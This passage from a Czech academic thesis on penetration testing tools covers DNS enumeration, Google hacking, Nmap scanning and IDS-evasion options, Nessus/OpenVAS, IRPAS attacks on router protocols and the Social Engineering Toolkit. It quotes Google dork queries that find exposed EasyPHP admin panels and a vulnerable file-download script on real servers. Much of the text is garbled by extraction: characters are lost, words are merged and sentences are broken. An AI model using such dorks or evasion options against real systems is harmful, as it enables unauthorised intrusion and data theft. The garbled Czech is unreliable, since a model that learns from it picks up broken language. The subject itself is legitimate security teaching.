ke vzniku fady néstraj, do niZz spada i DNSDict6. Dle mnoZstvi nalezenérdiury
a wdeckych ¢lanki Ize konstatovat, Ze DNSDict6 je neznamym a nemtabgm
nastrojem, neltbi obsahla literatura zabyvajici se problematik@ngir&niho testovani
nechava tento uzitay nastroj bez povsimnuti.
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Princip jeho préace je jednoduchy. Ke siménosti potebuje slovnik obsahujici doménova
jména potenciadkh pritomna na domeén ktera byl nastroji DNSDict6 ipdana jako
argument fikazovéradky. Ri svém spu&hi nastroj vyhleda DNS server autoritativni pro
danou doménu a Zae tomuto DNS serveru klast dotazy na doménovagmzénslovniku
za (telem zjistni IP adresy daného doménového jména. DNS serpéipadt existence
doménového jména odpovi korektni IP adresou &pag neexistence ohlasi chybu.
Odpowdi DNS serveru pak DNSDict6 reportuje uzivateli lgpoe s IP adresami, které se
zdailo po interakci se serverenighozit.

3.2.6 Google hacking database

Vyhledava Google jist neteba dlouze f@dstavovat. Zabyva se prochazenim webovych
stranek a indexovanim jejich obsahu. Tyto strangiistupiuje pra¢ vyhledavanim

v predem vytvéené databdzi indéxobsahujicich informace o navstivenych strankéch.
VedlejSim efektem indexovani internetovych strapekovSsem fakt, Ze jsou mnohdy
indexovany stranky, které nikdy byt indexovany ggmAlespai to jejich spravci a tirci
nezamysleli. A tak lze pomoci Google vyhledféaze nalézat Spatnzabezpéené
servery, servery majici &itou verzi réjakého software disponujici znamou zranitelnosti,
konfigurani soubory, fstup do administkamich nastraj k databazim, soubory

s neSifrovanymi hesly, ovladaci rozhrani webovyamé&r spoléné se snimanym obrazem,
soubory vytveené v tabulkovych procesorech obsahujici citliv&jéida mnohé dalSi
informace, které &y zustat utajeny.

Na webu Sciencedireclze naléz&lanek [21] uvadjici ¢ten&e do problematikginnosti
zvané Google hackingClanek uvadi konkrétni ifklady toho, co v3e Ize objevit ve
vysledcich vyhledavani a co vselm zistat s¥tu utajeno Nafiklad se jedna o chybové
notifikace prozrazujici mnozstvi detaib hardwarové i softwarové konfiguraci systému,
jenz je mvodcem dané notifikac€i soubory v nijak nechr@&@nych naindexovanych
adreséch. Mnohdy tyto soubory obsahuji cenna datanek seznamuj&tenéde rovréz se
zaklady dotazovani se pomoci operéater ukazuje, jak jednoduSe najit citliva d#&fa
servery, na nichz jefffomen zranitelny software.

Publikace nazvana Google hacking for penetratistetse [43] pedsatvuje obsahly zdroj
podrobnych informaci na téma Google hackingu. degporna vyhoda oproti ostatnim
zdrojam predstavujicim tematiku spiva vtom, Ze jejim autorem je samotny Johhny
Long, coz je zakladatel tohoto advi patitacové bezpenosti a piikopnik v problematice
Google hackingu. Prvnich 11 kapitol knihy gnevano avodu do pokédého vyhledavani
pomoci Google a vyhledavani aanych druli citlivych informaci, pd&inaje
nezabezpgeenymi adresé s daty pistupnymi z internetu, nezabezpaé prvky giové
infrastruktury a kote seznamy uzivatelskych jmen a k nim naleziciclelhes

Johnny Long stoji za projektem databdzebsahujici znmé mnoZstvi dotdz pro
vyhledavé google a k mnohym z nich je k dispozici i popifdpco dany dotaz nalezne

° www.sciencedirect.com
1% www.exploit-db.com/google-dorks/
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a pokud se jednd o odkaz na zranitelny softwardugdoyg p@es internet, je mnohdy

k dispozici i odkaz s exploitem. Tuto databazitive udrzuji kromd samotného J.Longa
i nadSenci, kié se nevahaji patit o zajimavé vyhledavaci dotazy, na které saini p
badani narazi. &tefi z €chto nadSenc ostathim mnohdy Zfstupni i samotné citlivé

udaje, které se jim pomoci Google hackingu pitalaajit**.

Jednim z mnohatfkladi Google hackingu ize byt nasledujici dotaz.
intitle:"[EasyPHP] - Administration"

Tento dotaz vyhleda vSechny webové servery prdcofiplatfornd EasyPHP a zarove
majici nezabezgeny pistup do administéiho rozhrani. Vysledek tohoto dotazu
ilustruje nasledujici obrazek.

intitle:"[EasyPHP] - Administration" | n

Internet Obrazky Mapy Nakupy Vice ~ Vyhledavaci nastroje

[_astHPl Administration - SN

v S, home!/ - PfeloZit tuto stranku
You must place your files either in the directory ‘www' (F:\web) or an alias that you have
created (see 'Add alias’), so that PHP can interpret your PHP pages ...

Obrazek 9 - Vysledek vyhledavani nezabezpenych webservei

Z obrazku 9 lze jistvycist, Ze &chto servel ma Google naindexovan@ceo pres
tisicovku.

allinurl:forcedownload.php?file="

Tento @ikaz ma za nasledek zobrazeni webovych stranekhojisizh skript s ndzvem
forcedownload.php. Tento skript byl zdddku pouzivan v red&kim systému wordpress
a slouzil ke stahovani souliiojenz web uzivatém nabizel. Jeho slabina sjala v tom,

Ze ke stazeni nabidl jakykoliv soubor, jehoz namenbyl gredan jako argument. Bylo tedy
mozné ziskat ndfklad zdrojové kody daného webu a tim padenistpp k databazi, coz
piedstavuje bezgaostni hrozbu, nelbodatabdze mnohdy obsahuje citlivé informace.
Obrazek 10 ukazuje vysledek takového vyhledavaodge naSel cca Sedesat tisic stranek
s timto skriptem.

M https://sites.google.com/site/murfie/screenshots
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Obrazek 10 - Vysledek vyhledavani skripi forcedownload.php

Google hacking Ize povaZzovat za nastroj, ktery pafr@imu testerovi taka bezprach
zpiistupni  obrovské mnozstvi informaci, které gbm byt nikdy zveéejreny.
Administratorsky pistup ke sprav databaze ies rozhrani EasyPHP je toho jasnym
dukazem. Odbornici zabyvajici se beapesti a penettmim testovanim jigt znalosti
pokratilého vyhledavani pomoci Google vyuziji, tudiz jeodné, aby se seznamili alegpo
se z&kladnimi operatory a vyrazy pro pakivyhledavani.

3.3 Nastroje pro fazi scanovani - komplexni nastroj NMAP a ostatni
nastroje

Publikace autdr Engbertsona a Broada uv§idi ¢tend&e do problematiky penetfaiho
testovani pedstavuje fazi scanovani jakdephod od faze jpekumu, kde jsou zjighy
pocitace pracuijici v siti, do stavu, kdy penetratester zna druhy sluzeb, které sehto
paocitacich pracuji, verze software poskytujici tyto sluZboypravidla i opetai systém
téchto paitaca [2]. Tato publikace do faze scanovani zahrnujeraces zjigovani
zranitelnosti, ktery bude popséan v nasledujici ppihkle.

Kapitola 3 knihy Penetration tester's open-souoodkit [38] se scanovanim piacovych
siti a porh zabyva oproti knize autbrSimpsona, Backmana a Corleyho [13] detgiln
Jednak pedstavuje pravni aspektai, prehledré v bodech uvadi et nalezitosti, které je
tieba mit spldno po formalni strancei@d zapoetim samotného testu. L#i, Ze vytet
téchto nalezitosti je taka totozny sd&mi, které uvadi metodiky OSSTMM a NIST
piestavené vigdchozich kapitolach této prace. R&¥rkniha [38] uvadi motivaci pro
provadni scanovani a obsahuje i ivod do problematiky ®z@am v rovig pocitacovych
siti. Motivaci pro scanovani je dle této knihy Zisk dodatenych informaci
o infrastruktie si€ a pdaitacich, které jsou do této 8ifpripojeny. Tyto kroky se pak
mnohondésobhvyplaci @i praci v dalSich fazich penetrdho testu, nelioposkytuji cenné
informace, z nichz lze nasletirvychazet g uréovani dalSiho semu, kterym se ma
penetréni test ubirat.

Nastrofi pro provadni scanovani existuje celid@da. Cilem nésledujicich odstavie
nekteré z échto nastraj predstavit a srovnat. Poté budeivddreno, pra@ byl pro detailni
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piedstaveni vybran nastroj Nmap. Obsahly srovnaeatinéstrdj uréenych pro scanovani
pocitatovych siti zalozeny na komparaci 15 kritérii prdv&thnek autoli Daimiho

a El-Nazeera [44]. Tentdlanek obsahuje sténé shrnuti vysledktestu a hodnoti nastroj
Nmap jako nastroj, ktery svoje sodpgiedil mnoZzstvim moznosti vyuZziti, jenZz svym
uzivateim nabizi.

3.3.1 Unicornscan

Unicornscan je jeden z mnoha progfamréenych pro scanovani &ita je dostupny
nagiklad v operanim systému Backtrack BT5R3. Nastroj disponuje raahm
ovladanym pes gfikazovouiradku, kdy uzivatel pomoci mnoZstvi voleb otilije chovani
nastroje.

Kniha Hands-on Ethical hacking and network defdd$$ predstavuje Unicornscan jako
nastroj, ktery ve srovnani s ostatnimi nastrajeaymi pro scanovani sihabizi pokrsilé
moznosti. Mezi tyto pokrdlé moznosti pat:

» regulace mnozstvi pakebdeslanych za sekundu,

» podvrhnuti informaci o odesilanych paketech (IResalii zdrojové porty),
e zapis protokol&innosti do souboru,

» priblizny odhad toho, zdali se na trase spojeni radir@wall

* moznost volby verze scanu (TCP SYN scan, UDP s@siRRascan).

MozZnosti nabizené programem Unicornscan Ize doildetaostudovat v manualové
strance tohoto programu. Do manualové stranky jenmestoupit nasledujicimiifzazem.

root@bt:~# man unicornscan

Dle manualu programu Unicornscan se zatim jedngvojovou fazi. Gikazem pro toto
tvrzeni je kupikladu popis kvolbam-c ¢i -F. U volby -c je v napo¥dé napsan
nasledujici popis:

[-c, --covertness Level]
Numeric option that currently does nothing, except look cool.

Voln¢ preloZzeno dateského jazyka je u volby --c napsano, Ze tato velbawasné dob
nedla nic, pouze vypada déd U volby --F neni situace o mnoho lepsSi:

[-F, --try-frags ]

It is likely that this option doesn't work, don't bother using
it until it is fixed.

Zde napowda informujecten&e o tom, Ze volba --F v s@asné dob nefunguje, a tudiz by
se nendl obt¢Zovat ji pouzivat do doby, nez bude opravena.
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3.3.2 Autoscan

Program Autoscan je dalSim z plejady nastqmjo scanovani pdtacovych siti a zézeni
piipojenych do &chto siti, ktery je dostupny v linuxové distribuBacktrack. Oproti
nastroji Unicornscanipdstaveném vipdchozi kapitole disponuje grafickym uzivatelskym
rozhranim a &kolika schopnostmi navic. Faktem ovSelistava, Ze verze Autoscanu,
ktera je dostupna v poslednim vydani Backtrackxinyochazi z roku 2010.

s

program Autoscan jako jednoduchy a snadno pougiteh@stroj pro scanovani
pacitatovych siti. Je zde vyzdvizen fakt, Ze grafické ranl jimZz Autoscan disponuje, Ize
chéapat jako nadstavbu nad agentem, ktery se s@nstara o pibéh scanu sé Tohoto
agenta je mozno dle knihy [45] umistit do cilové,5iZ odcEluje od internetu NAT a tuto
sit’ s minimalnim asilim podrobit scanu.

Stranka programid uvadi vyet vlastnosti, kterymi Autoscan disponuje. Ty zasad
a dilezité schopnosti programu Autoscan uvadi nasledsgiznam:

» detekce opetmiho systému z&eni v siti,

* moznost paralelniho scanovani vice siti,

* inventarizace detekovanychizzeni a jejich uloZzeni do XML,

* moznost detekce velci v siti (detekce noveého #aeni oproti jiz zji&nym

zarizenim z divejSich scai)
» schopnost & et paralela ve vice vlaknech a tim padem rychlejSilgh scanu

Obrazek 11 fedstavuje grafické uzivatelské rozhrani nastrojgosecan. V levécasti
obrazovky Ize vidt pccitace, které byly v siti zji$ny a v pravécasti obrazovky jsou
uvedeny podrobnosti ke kazdému uzlw.sKonkrétre IP a MAC adresu uzlu, sluzby
a otewené porty, které byly na daném uzlu identifikovangovreéz provadi i odhad toho,
ktery uzel je na danémtsivém segmentu vychozi branou. Tuto dénku poté Autoscan
zobrazi v podrobnostech u konkrétniho uzlu.

12 http://autoscan-network.com/
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Obrazek 11 - Autoscan

Hlavni vyhoda programu Autoscan gp@ v jednoduchosti jeho pouZiti diky grafickému
uzivatelskému rozhrani. Je tedy vhodny préirzagici penetréni testery, ktd zpravidla
maji minimalni zkuSenosti gigazovouradkou.

3.3.3 Nmap

Nazev tohoto $bvého scanneru vznikl spojenim slov network a mappeho historie
saha do druhé poloviny 90. let minulého stoleti; kgll do s¥ta uveden jako jednoduchy
nastroj uteny pro scanovani pdrt pricemz dalSi vyvoj tohoto nastroje nebyl Zatku
naplanovan. Nicménjeho popularita rostla a do Nmap projektu seai lide, ktei meli
zdjem na tom, aby projekt pokreval. Od té doby proSel Nmap ktuym vyvojem az do
dnesSniho stavu, kdy obsahuje velké mnoZstvi vopebmoci nichZz lze scan ovlivnit,
podporu pro skriptovani a automatizaci Uloh a tgkafickou nadstavbu pro uzivatele,
kterym¢ini problém orientovat se ixazovéradce.

Na oficialnim webu nastroje Nmap, v sekainevané pedstaveni Nmagt je mozno
nahlédnout do historie tohoto nastroje a ziskehled o tom, co je do budoucna s timto
nastroje zamysleno. Nmap je jediny zé€osych scannér, ktery ma takto jasnou vizi
vyvoje v budoucnu.

V literature je Nmap hodnocen jako nejlepSi nastroj, jenz gigsgozici mezi sbvymi
scannery. Autth Engbertson a Broad jsou ve své publikaci [2] jsbel kdyby si mnili
vybrat z plejady sbvych scannér pouze jeden jediny, byl by to s jistotou pFfdmap.

13 http://nmap.org/book/history-future.html
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Swij vybér zdavodiuji negebernym mnozstvim moznosti atugphi pouziti Nmapu.
Kolektiv autofi vyukovych podpor ke kurzu zatenému na penetfai testovani [10] je
totozného nazoru, navic tvrdi, Ze pro Nmap HKbvanoZznost skriptovani v jazyce Lua
a tim padem moznost ropSini a automatizace Nmapu. Publikace [38] zase \zasi@zor,
Ze ve prosgch NMAPu hoveéi jeho multiplatformnost a moznost dostupnych voleb
NejobsahlejSim a nejpodroaim zdrojem informaci k sbvému scanneru jefipucka,
jejimz autorem jeifdmo samotny autor nastroje Nmap Gordon Lyon [22].

Na predchozi strance této prace byl uveden odkaz nalofistranky Nmap projektu. Na
téchto strankach je uveden detailnicey schopnosti, kterymi Nmap disponuje. Nasledujici
seznam uvadi podmnozintch nejvyznamégsich schopnosti:

» pokrailé zpasoby zapisu adresdanych k proscanovani (nap
192.168.1-10.0/24),
e osm zgmisohi jak zjistit, zdali je zEzeni zapnuté a dostuptiévypnuté:
TCP SYN/ACK host discovery scan,
UDP host discovery scan,
SCTP host discovery scan,
ICMP echo host discovery scan,
ICMP timestamp host discovery scan,
ICMP netmask host discovery scan,
protocol ping host discovery scan,
o0 arp ping host discovery scan.
» desitku technik jak scanovat danéizeni a najit dostupné sluzby,
o TCP SYN connect scan,
TCP connect scan,
ACK scan,
Maimon scan,
UDP scan,
null scan,
Xmas scan,
idle scan,
o protokol scan.
» detekce opermiho systému a verzi programu poskytujicich sluidytewenych
portech diky databazi otigk
e poskytnuti vystupu v mnoha agobech (XML dokument, vystup do databdze
textového souborti vystup snadno zpracovatelnjikazemgrep,
e jsou kdispozici d¥ stovky skripti pro plréni nejfiznéjSich dloh (nap Ize
otestovat, zdali je cilovy @ta¢ ovlivnén postizen konkrétni zranitelnosti),
» definice agresivity scanu (pet odeslanych pakiekzacasovou jednotku),
* pokratilé moznosti oklamani Firewdlla IDS systeér,
* integrovanou sadu nastéiopro benchmarking it porovnavani vysledkraznych
scart.

O O 0O 0O o o o

O O O 0O o o o
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Mriviw s

piedstavenych v kapitolach 3.3.1 a 3.3.2 je evidedmiNmap nejen zvlada totéz co jeho
konkurence, ale i jeStnékolik véci navic. To zaroue vyswtluje fakt, pr& odborna
literatura, pokud how® o technikach scanovani siti aizani do &chto siti pipojenych,
piedstavuje tyto techniky za pomoci nastroje Nmap.

Publikace autorky Kimberly Graves [3] a metodikySNISP 800-115 a OSSTMM havo

0 scanovani jako éinnosti, kterou jeitba pélivé si naplanovat a roztit si ji na faze.

V kazdé fazi pak provatl dilci ukony, které vedou k ziskani co n&jwjSiho obrazu
zarizeni v siti a sluzeb, které n&chto z&izenich pracuji. Tatoipdstavi praktické ukazky
prace s Nmapem rova v jednotlivych fazich a to zistodu gehlednosti. Faze, na nichz
bude program Nmapi@dstaven jsouifmo odvozeny z fazi uvedenych v knize Certified
ethical hacker autorky Kimberly Graves|3] a clkégazuje je nasledujici obrazek 12.

Hledani zafizeni v provozu

Hledani otevienych portu

Identifikace sluzeb a verzi
téchto sluzeb bézicich na
otevienych portech

Hledani zranitelnosti sluzeb na
otevienych portech

Obrazek 12 - Faze scanovani sit
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Prvnim cilem kazdého peneirdho testu je vzdy najit na siti systémy &izeni, ktera
reaguji na sbvou komunikaci a tudiZ jsou pro penétréno testera perspektivni v dalSich
fazich penetr@niho testu, neliomohou obsahovat software majici zranitelnost. ghmeni
tohoto Ukolu obsahuje Nmap hne&kalik voleb a gepinai, pomoci kterych lze ziskat
detailni gehled zé&zeni, jeZ pracuji na danént®vém segmentu. Sani@mosti je ping
scan, ktery prasfuje stav IP adresy pomoci protokolu ICMP. DalShteka, pomoci které
lze ziskat cenné informace d®@iém segmentu, se nazyva ACK ping. Vyuziva chovani
TCP/IP stack oper&nich systém, které jsou naprogramovany v souladu s normou
RFC 793. Tato norma specifikuje, Zze odgdivna TCP segment, ktery neni &asti
existujiciho spojeni a méa v hlaee nastaven ACK bit, ma vzdy byt segment s nasfamen
RST bitem. Lze takto otestovat, zdali systémy, &tenaji zakdzano komunikovat
protokolem ICMP, jsou v provozu. Faktem ovSeistava, ze stavové firewally znemozni
tento zmisob testovani z&eni, neb® poznaji, Ze segment neni &asti Zadného

Z existujicich spojeni a tento segment v tichoatiadi. V programu Nmap je ACK ping
vyvolan volbou-PA. Kniha autora nastroje Nmap [22] o této technioérpbré pojednava.
DalSi z technik, jenz lze nalézt vtéZze knize zafirlJDP ping, ktery je vyvolan
parametrem-PU. Cilem této techniky je, stejnako u ACK ping, pomoci protokolu UDP
zZjistit, zdali dana IP adresa reaguje na pogma tim padem zda na této adrese pracuje
n¢jaké zaizeni. Je vyuzivana zpravidla tehdy, pokud techsiggnovéani zalozené na TCP
protokolu neusgji. Vychazi z faktu, Zze Z&eni (i ptijeti UDP paketu na uzaéeny port
odpovida zpravou icmp — port unreachabimz na sebe fakticky prozradi svoji existenci.

DalSi technikou je protocol ping. Ten pouZziva whlRviéce odesilaného paketiznécisla
protokoli a jako odpowd’ ocekava zpravu ICMP — protocol unreachatildpowd’ ve
stejném protokolu, v jakém byl odeslan paketmmm ke scanovanémuifzeni. Takdi
tak, Nmap pozna, zdali je dana IP adresa v proeonformuje uzivatele. Protokol ping je
vyvolan pomoci volby-PO, piicemz Ize specifikovat typ protokolu, jenZ ma byt szapdo
hlavicky paketu. Tak jako uipdchoziho druhu scanu, i u tohoto scanu se Izésido
pottrebné informace v knize, jejimz autorem je autogprmu Nmap [22].

Poté, co jsou zjigha zdizeni pracujici na danémtevém segmentu, je mozZndikrocit
k prohlubovani znalosti @dhto zdizenich. V souladu s obrazkem 12 zném@cim faze
pribéhu scanovani Ize tuto fazi nazvat jako hledanitetgich pori. Stejreé tak jako pro
zZjiStovani zgizeni na siti, tak i pro scanovarchto zdizeni nabizi Nmap négberné
mnozstvi voleb.

Prvni moznosti, jak zjistit, které porty jsou néoeém systému otéené, je TCP connect
scan. Tento proces zdvani otevenych port vychazi z principu fungovani TCP
protokolu. Na kazdém z pdrtse snazi navazat spojeni pomoci techniky zvanéy3-w
handshake a v zavislosti na tom, zdali protisti@h@ovi segmentem s bity ACK a SYiN
RST, Nmap usoudi, zdali je port ofew ¢i uzawen. V ggikazovéradce je vyvolan volbou
-sT. Kniha Gordona Fyodora — autora programu Nmap [28]ppvi étend&i piipadné
dotazy k tomuto druhu scanu.
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TCP SYN scan je druhou moznosti jak zjisti demé porty. Vychazi se scanu popsaného
v pitedchozim odstavci, ale liSi se vtom, Ze ned®dkamavazani spojeni na pgav
zkoumaném portu a tudiz je pro systémy zabyvajgcioshranou sit méré napadny.
Argument-sS scli Nmapu, aby pouzil pra& SYN scan. Autor nastroje Nmap ve své
knize [22] tuto technikui@dstavuje podrolin

UDP scan zkouma, zdali nacenych portech poslouchaji sluzby pracujici na xalto

UDP. Mezi tyto sluzby péit nagiklad agenti a mana#ieprotokolu SNMP¢Ei DNS server.

Nekteré DNS servery byly v minulosti znamy svym Spainzabezp&nim a tudiz se
teSily velké obli viadach atoniki. Z tohoto divodu je vhodné i scanovani
neopomenout otestovatipmnost sluzeb pracujicich na aptikém protokolu DNS. UDP
scan je logicky vyvolan argumentersU. Podrobnosti Ize ifjpadré dohledat v knize
Gordona Fyodora, autora nastroje Nmap [22].

Vyznamnou technikou scanovani, ktera Nmap vyzrarmodliSuje od konkuremich
produkti, je idle scan. Pokud by gty byt scanovaci techniky hodnoceny dle miry
nenapadnosti a utajeni, idle scan se umisti nd pridte. A to z toho divodu, Ze systém,
jenz je scanovan, nema nejmensi Sanci dopatratiesnép totoznosti zeni, jez je
pavodcem scanu. Je zaloZzen na zkoumani identifiken ¢isla fragment TCP segmeiit

Z fe¢eného vyplyva, Ze pomoci idle scanu lzetpji&at pouze stav sluZzeb pracujicich na
protokolu TCP. Nutnou s@asti i provadni idle scanu je tzv. zombie host. Ze scanneru
je totiz jeho jménem odesilana komunikacetgji€i stav poti na zkoumaném systému.
Tento zkoumany systém poté komunikuje se zombig¢ehusRivodce scanovanited
zapa@etim zkoumani kazdého portu a reé¥n po jeho zkoumani je schopen
z identifikatnich ¢isel fragment usoudit, zdali je port uz#en ¢i otevien. Nmap a MSF,
ktery je popséan v dalSi kapitole, obsahuji nastuajené ke zjidini toho, zdali je konkrétni
zarizeni vhodnym kandidatem na roli zombie hostaiikgzovéradky je idle scan vyvolan
volbou-sI.

Nmap disponuje dalSimi zajimavymi volbami, kteréesheovliviuji pouzitou techniku
zkoumani cilového systému, aléepto maji zasadni vliv na {ieh testovani. Tento

k rozdtleni TCP hlawiky na malé fragmenty. Tato volba zkomplikuje IDSBIBystémim
orientaci v sfovém provozu, nelozpravidla nejsou schopny vysledovat souvislostimez
jednotlivymi fragmenty TCP hlavky. Ukolem volby-D je rovréz zmast systémy pro
kontrolu sfového provozu. Tato volba umafe definovat tzv. decoys (navnady) pomoci
IP adres. B spuSEni scanu je pak provoz veden jak korekin IP adresy Zdzeni
provadjiciho scan, tak fiktivé z virtualnich IP adres, jez byly definovany jakgument

v prikazovétradce. Pro bezpgaostniho analytika zkoumajiciho vystrahy IDS sysigm
pak obtiz®jSi zorientovat se, odkud scanovani vzeslo.

Z pohledu rozgitelnosti nabizi Nmap hned ¢kolik moznosti, jak vylepSit jeho
funkcionalitu. Prvni moznosti je NSE. Tato zkrajkavorena pdatenimi pismeny slov
Nmap scripting engine. Jak jiZ nazev napovida, gesk o satast Nmapu, ktera umozni
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tvorbu skripfi, s nimiz Nmap naslednpracuje. Skripty pro Nmap jsou ttemy v jazyce
Lua, coz je programovaci jazyk ceny pra¢ pro rozsteni program o mozZnosti
skriptovani. Autd Nmapu jej do svého nastroje zabudovali hiawntoho divodu, Ze
nekteré ukoly bylo obtizné plnit pomoctigazovéradky. Kniha autora nastroje Nmap [22]
seznamujiciten&e s nastrojem Nmap uvadi hnegkaolik piiklada pouziti skriptovaciho
engine. Prvnim z nich je néklad detekce verze Skype, kdy by iikazovéradce bylo
tieba zapsatéakolik na sebe navazujicich volaniil@azu zji§'ujicich verzi Skype. Pomoci
skriptu lze toto automatizovat. tl®Zitost tohoto roz#&ni pouze dokresluje fiflad
uvedeny v téZe publikaci. V dobach, kdy n& siteil ¢erv MyDoom, tak skolik hodin po
jeho objeveni byl k dispozici skript pro Nmap té¢itiy zdali je cilovy systém timigervem
infikovan. Odborna publikace od auionastroje Nmap uvadi dalSfiklady skripfi, které
mohou testerovi vyraznnapomoci fi bezp€nostnim auditu sit Namatkou Ize jmenovat
skripty ataici hrubou silou nadaky druh sluzby (najklad FTP¢i SNMP) a také skripty,
které otestuji, zdali je cilovy systém postiZetitou zranitelnosti.

A¢ drtiva wtSina literatury, kufikladu [2], [10], [3]¢i [22], popisuje Nmap jako nastroj
piikazovéiadky, je tebafict, Ze Nmap disponuje i grafickou nadstavbou, &t@mozni
praci s timto programem i uzivateh, jez jsou méh zdatni v prosedi gikazovéradky.
Tato nadstavba se nazyva Zenmap a je impéiaiwstupnd v distribuci Linux Backtrack.
Zenmap nabizi dkolik predpipravenych profih scanu, které se [iSi hla¥n
kontrolovanymi protokoly atasovym hlediskem pb¢hu scanu. Profily k dispozici Ize
zobrazit z roletkového menu v pravé hotasti programu, coz je znadzéno na obrazku
13.

| Intense scan plus UDP m
| Intense scan

Intense scan plus UDP

Intense scan, all TCP ports
| Intense scan, no ping

Ping scan

Quick scan

Quick scan plus

Quick traceroute

Regular scan

Slow comprehensive scan

Obrazek 13 - Redptipravené profily scani v programu Zenmap

Zenmap je rové& nutno vyzdvihnout pro svoji nazornost. Umoje prezentovat vysledky
svécinnosti graficky a uZivateli zobrazit podrobnostkazdém z&zeni, které bylo v siti
nalezeno. Graficky vystup z programu Zenmap znagerobrazek 14.
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H Zenmap
Scan Tools Profile Help

Target: |10.0.0.0/24 [v]| p

Command: |nmap -T4 -F 10.0.0.0/24

Hosts | Services Nmap Output Ports / Hosts Topology | Host Details Scans

OS v Host Hosts Viewer || Fisheye|| Controls
® 10.0.0.222

@ 10.0.0.1

7]

@ 15caihost
Obréazek 14 - Graficky vystup z prozgramu Zenmap

3.4 Nastroje pro fazi zjistovani zranitelnosti - Nessus a OpenVAS

Do kategorie nastrojurcenych ke scanovani cilovych systém zji¥ovani zranitelnosti
téchto systém paki nastroj Nessus a jeho open-source alternativeaam@zOpenVAS.

Kniha The basics of hacking and penetration testinfyvajici se zaklady etického
hackingu [2] hovéi existenci zranitelnosti jako o nasledku c¥jidich aktualizaci
programového vybaveni pibace. Jednim dechem dodava, Z&které zranitelnosti jako
nagiklad MS03-026 umozni vzdalené spumst a Nessus slouzi ktomu, aby tyto
dané zranitelnosti a o detailnich technickych imfacich vztahujicich se ktéto
zranitelnosti. Ve sit¢ informanich technologii existuje jiz od roku 1998 a zawsdobu
existence proSel balivym vyvojem. O jeho architekte Izefici, Ze je modularni, nelgo
existuje moznost obohaceni Nessusu o schopnodtodetenove bezpmostni problemy
pomoci zasuvnych modyl jak tvrdi kniha Cyber warfare techniques [46]. shligs
klasifikuje své zasuvné moduly déznych skupin, icemz kazda skupina jegdugena
ke hledani zranitelnosti vdité oblasti. Lze tak nalézt zasuvné moduly pro apér
systémy, pditacové si¥, databazeéi SCADA systémy.

Praktické pouziti nastroje Nessus je intuitivnitidda gihlasit se do webového rozhrani,
zde zadat seznam jliez maji byt testovany na&ipmnost zranitelnosti a bezp®stnich
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trhlin, test odstartovat a pkat na jeho vysledek. Praktickd ukazka prace sajast
Nessus je uvedena v knize Cyber warfare technilésa rovrézZ je k nalezeni v kapitole
6 této prace, ktera pojednavaitpadové studii.

RozsSfit nastroj Nessus o nové funkcionality Izeéoha zpisoby. Prvni moZnost je
investovat do profesionalni edice tohoto nastromanot radow tisiai dolarm ro¢ng, kdy
uzivatel ziskad pokrdlé moznosti jako planovani saandodaténé zasuvné moduly pro
SCADA systémy, moznost kontroly, zdali je cilovy s8m v souladu s normami
vydavanymi normalizéenimi institucemi, jako je ndfklad NIST gFestaveny v kapitole 3.2,
kde byla rovez predstavena metodika vydana timto normdlidan institutem. DalSi
cestou, jak lze rozs8i funkcionalitu nastroje Nessus, je pouZziti skoiy@ciho jazyka
NASL. Ten gredstavuje platformu pro tvorbu vlastnich zasuvnyaduli, pomoci nichz
Ize testovat cilové systémy na gmbjevené zranitelnosti.

OpenVAS slouzi k totoznémuélu jako Nesssus. Jde r@mo nastroj, pomocidnoz lze
na cilovém systému objevit zranitelnosti a chidd aktualizace. Publikace autor
Andresse a Winterfelda [46fFgdstavuje OpenVAS jako open-source alternativustrop
Nmap, ktera je nadm postavena a tudiz tyto nastroje sdileji mnohdegpgch viastnosti.
Kniha Hands-on ethical hacking and network defdd&$ uvadi, Ze OpenVAS se &l
vyvijet po roce 2005 a sdili zaklad s nastrojemshswe verzi 2.2, kdyfpvydani Nessusu
verze 2.2 bylo ohlaSeno, Z&ii verze nastroje Nessus bude jiz kaman produktem bez
dostupného zdrojového kodu. TatdZz publikace ukazojaktické pouziti nastroje
OpenVAS.

3.5 Faze vedeni utoku

3.5.1 Metasploit framework
Metaspolit framework je zttvodu jeho rozsahlosti a komplexnostnevana odpovidajici
cast prace a je tedy podrabpiedstaven v samostatné paté kapitole.

3.5.2 Irpas

Nastroj IRPAS od Bmecké spoknosti Pheonelit je gen vyhrads k atokim na sfovou
infrastrukturu. Jedné se o nastroj, ktery byl virop@atkem tohoto milénia, ale i@sto
ma své misto v s@dnastrofi penetraniho testera, nelfosi’ové protokoly astavaji
zpravidla nemdanné. Tento nastroj zneuziva beapestnich slabin v mnohychtsivych
protokolech, s nimiz routery pracuji. Probléememaxjdla byva fakt, Ze pokud se pro
komunikaci danym protokolem explicén nezapne autentifikace, aektuje router
piichozim zpravam daného protokolu od kohokolikiklady takovych protokdl mohou
byt CDP, EIGRP, HSRP, OSPF, RIP a dalsi.

Kniha pedstavujici open-source nastroje pro pegfpiraestovani [38] fedstavuje
prakticky @iklad pouziti tohoto nastroje, kdy v siti, v nizawhi router mil zapnut protokol
HSRP prost jakékoliv autentifikace, byl tento rauibaven funkce hlavniho routeru
a veSkery provoz zal proudit ges Ut@énikovo z&izeni a to proto, nelfodokazal
podvrhnutymi HSRP paketyi@swdéit hlavni router, aby se své funkce vzdal. Jelikoz

50



nenmel Gtocnik vyfeSeno routovani, celatsiztratila konektivitu. Kniha siznanym
ndzvem Hacking exposed [49Jeplstavuje IRPAS v roli manipuldtora CDP tabulek
sitovych zdizeni na lokalnim segmentu ftacové si€. Upravend struktura informaci
CDP paketu vysilanych timto programeniza mit za nasledek nestabilni chovani starSiho
sitového zézeni od firmy Cisco.

Faktem #stavd, Ze pro sbvou infrastrukturu zabezpenou dle zasad a nejlepSich praktik
nemize tento nastrojipdstavovat vaajsi nebezp&. Na druhou stranu Ize pomodijn
proveiit praw miru zabezp&eni sfové infrastruktury a nad ni pracujicich protakol
Stinnou strankou takového testovani ovSem mnohaw ligkt, Ze nize nastat situacefip
niz stova infrastruktura festane pracovat aizzeni k ni pipojena ztrati fistup K siti.
Proto je teba takovy test planovat s rozmyslem.

3.5.3 Social engineering toolkit

Nazev Social engineering toolkit (SET) oZog sadu nastrdj dostupnou v Linuxové
distribuci Backtrack. Tato sada néstrogili na slabiny lidského faktoru a zneuzZiva
bezpénostnich zranitelnosti aplikaci nainstalovanychknacovych stanicich uZzivatel
Na celé situaci je nejvice znepokojujici ten falet,k napadeni koncovych stanic zpravidla
dochazi za fimé asistence jejich uzivatel Je zejmé, Ze softwarové i hardwarove
zabezpeéeni prochazi vyvojem a jde s dobou kegu. Na druhou stranu, lidsky faktor ma
